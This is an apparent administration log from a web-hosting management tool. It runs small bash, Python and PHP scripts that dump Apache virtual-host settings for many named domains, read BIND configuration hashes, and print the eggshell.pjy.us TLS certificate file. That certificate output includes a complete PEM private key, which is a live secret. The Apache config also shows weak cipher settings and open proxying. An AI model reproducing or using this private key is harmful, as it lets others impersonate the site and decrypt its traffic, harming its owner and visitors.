MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-26 15:48:51: Establishing a connection
2025-08-26 15:48:52:
PUT: /tmp/pkp608166
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-26 15:48:52:
chmod 755 /tmp/pkp608166; /tmp/pkp608166; rm /tmp/pkp608166
2025-08-26 15:48:52:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-26 15:48:52:
PUT: /tmp/pkp655758
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/pjy_eggshell_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 15:48:52:
chmod 755 /tmp/pkp655758; /tmp/pkp655758; rm /tmp/pkp655758
2025-08-26 15:48:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_eggshell_us.conf 1750
<VirtualHost *:80>
ServerName eggshell.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_eggshell/public
<Directory /var/www/pjy_eggshell>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/eggshell_access.log combined
ErrorLog /var/log/apache2/pjy/eggshell_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
DirectoryIndex index.html index.htm index.php
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName eggshell.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt
DocumentRoot /var/www/pjy_eggshell/public
<Directory /var/www/pjy_eggshell>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/eggshell_secure_access.log combined
ErrorLog /var/log/apache2/pjy/eggshell_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9514/
ProxyPassReverse ws://localhost:9514/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9514/
ProxyPassReverse http://localhost:9514/
</Location>
</VirtualHost>
2025-08-26 15:48:52:
PUT: /tmp/pkp205121
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 15:48:52:
chmod 755 /tmp/pkp205121; /tmp/pkp205121; rm /tmp/pkp205121
2025-08-26 15:48:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt 5293
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBTAxN/ypJc1zlWT2MwFFUgcrMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODIyMTAzMzI5WhcNMjUxMTIwMTAzMzI4WjAaMRgwFgYDVQQD
Ew9lZ2dzaGVsbC5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCv+1vZXU4/0EqDlKFBxIfOgPOr5ran2CS2AYkoMyTbd99NDxhPZyRzokQa7flM
EBX+BKTAay1csxvMxo4lcUdtIPORMkxZ0C6Rsj1JOF0gw2qZ+zf7mAXCWxyxOwVo
cVPkuIRya2BrLPSPuwBMmLLAWhXTBQLYyCLCJB8suJhXBHCALR7CdYQfSr4yRouq
hv+Xd8Um5KgBL2DVrGdt4wlGm1/2AiuJ1uBNa1vununSkyiYcDKHnJU70lvgDYt/
yX6UR9PU9LmJBu9ITJSMA8RIDjEOuqF5fvGaeuNlB67t9iQrxlMelMJts0JVvOsk
ad40xuRduCbXFlboPTedZg71AgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFGaEjn62LSOd4gRueu2Qn7iVwRdlMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWdnc2hlbGwucGp5LnVzMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvNDQuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGY0YzASAAABAMARzBFAiEA
4Qcy8lE8HLOdYaluPBi3DmiSCtc3/3CIp79dQPEezeQCICJcqF8GjGliNqKAAbio
g4WjkQ3MP9CBkOmZJb3gG766AHUArxgaKNaMo+CpikycZ6sJ+Lu8IrquvLE4o6Gd
0/m2Aw0AAAGY0YzI8wAABAMARjBEAiAK29KAB4y8lBJyXSmh8RXzTTKqnAj7FrQY
rLMzhPnZ2QIge5PgBKFOUR+oJb7HjczA7uoqM3h0FMlQ5W51L5K0oz0wDQYJKoZI
hvcNAQELBQADggEBABls+a+Y62Ttzh4E7HC2gpFsUiC0ItNHJOCVUMsZPQTZ0Kgf
pzm0xn06qHJxT203OsL5G8zdZJ/5+K/W+AvdlUQ9PfGQZQl6T/syPYrRyGTCxhVJ
yDyqQIPWFgJsBWHI+n/Q1B9ZVLXLMy6VMfMr9vUuN27qv2+4G/+6K4S4DOkd5/wS
uO6xtZ3TlgeGgvOtZziGM/hhaI8X4uepzrXA1lpRsz4519BhUaSXDPr4MLI4ur65
qG6LMmjtr+6b1GXhWU0VGqlHR9l+t4Fs8yHaknREMBO0IYbtn9RVeVJ1XlU90Q4z
Mv/F47ZnxmBjLo6wa9aorFfViwD4YXDlzYto0Hg=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCv+1vZXU4/0EqD
lKFBxIfOgPOr5ran2CS2AYkoMyTbd99NDxhPZyRzokQa7flMEBX+BKTAay1csxvM
xo4lcUdtIPORMkxZ0C6Rsj1JOF0gw2qZ+zf7mAXCWxyxOwVocVPkuIRya2BrLPSP
uwBMmLLAWhXTBQLYyCLCJB8suJhXBHCALR7CdYQfSr4yRouqhv+Xd8Um5KgBL2DV
rGdt4wlGm1/2AiuJ1uBNa1vununSkyiYcDKHnJU70lvgDYt/yX6UR9PU9LmJBu9I
TJSMA8RIDjEOuqF5fvGaeuNlB67t9iQrxlMelMJts0JVvOskad40xuRduCbXFlbo
PTedZg71AgMBAAECggEAUH9wAju2AWarzwh7wvO9E27VB3rfbmNmV4LYVHUglOt+
T2dqPVf2ypYdBRx5/psVFD7XhdUAyPh87OyeNO5eN8Ls5yvU1PhvdOHNOuL3Znc9
GfZaI1HkwISg2UkgLig4sdTdcOFBF4VW0TA+8MqgaXBLr10JclQJ4jhXskM2HAb/
A+m2f+ZFgoZYd/o9TbTuGjGI4/3vIEawQOsTLUmnfryubbn1cAccMJpgMHsj5HCp
3+ZCtQS3lTAv2ssbME19oEfFe5aPzp/u+F/TmCCt6JuIqCMa7iHsN9rkVlX0Ook5
uQuGJoZ9ziLpbI5Eyt+1NFaTkDPNHVPdmed5KmZogQKBgQDmQKGzzH0GUKplZeaH
gjaF2dGmoaB5iWVUEEBzVRiStw5uMlL9lgNE68Vise0MSOHbYn1NkeRoCBC00RQF
0BMQoAbKnh1d0mRYuU3hLF+A36pKf9slfJDUd33BZAqpEouzCaneDwiH7MPIRyf7
VkvB+m3fafXyg9K+I61uMzNr0QKBgQDDqSOXAuj9ExBcXXlMsXmwc/SOACCCt8Ce
HlMaO0ijM9EUlduGM2QCeVC1HjJzkKf5Qv8D8plPMMlhaxMXBK0AnXZ2M7cijmpz
yF/L0HbmkkXu08XBAvOpW9YAtL6POIlEhSSK55O01ieNMLEJnn8ekT+fmPz2cA0b
L73SuV0N5QKBgELfXpdzupQM9ZBBijStEtzJKGS26H6j8vP5TF6yxlJGLEDBCO1x
lj18JHXHq0s4F7C56B6RUr8MKJ37Y09U4VSgxZgvV+QZ6N8D4qSVWJ97VmAQxjsa
9I1grvtt7NKx+jTjh5xgzV982lfeorQSmioaa7LJeY8Xzis+/W3WHQchAoGAWwfn
WgvtkEj9VKvckpUDs9fPEP34IjkRsb8UFOE+I0gpX3V1ZBOm1QvSQ+HfwSqtK+hC
s3h8YX6mQt/JSu1O/DlGcyoOa1JtLp8sCqxblVy6kqoOmIUiDkp+32c4PXQlUS7M
2J9zdjAoyKS9yWbnZ7ZWLo/EKXfqcRqeK1s4cw0CgYAUQjZU1WmKR7pOzQZqF8wh
yaImT+g4yvH0t1biIk3J6ECI5AE9tiIexLzMy14/LudpGweeV04EctckR7WZv69u
XPY7gx9GZWrKp4awiB/6KYmtspMFa0e4vFKGZkt63mA9vtC/8pjfCF26WmyevkTA
176fLF2F4Xa5cSou246Pxg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-08-26 15:48:52: Establishing a connection
2025-08-26 15:48:52:
PUT: /tmp/pkp943413
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-26 15:48:53:
runuser -l bind -s /bin/bash -c '/tmp/pkp943413; rm /tmp/pkp943413'
2025-08-26 15:48:53:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
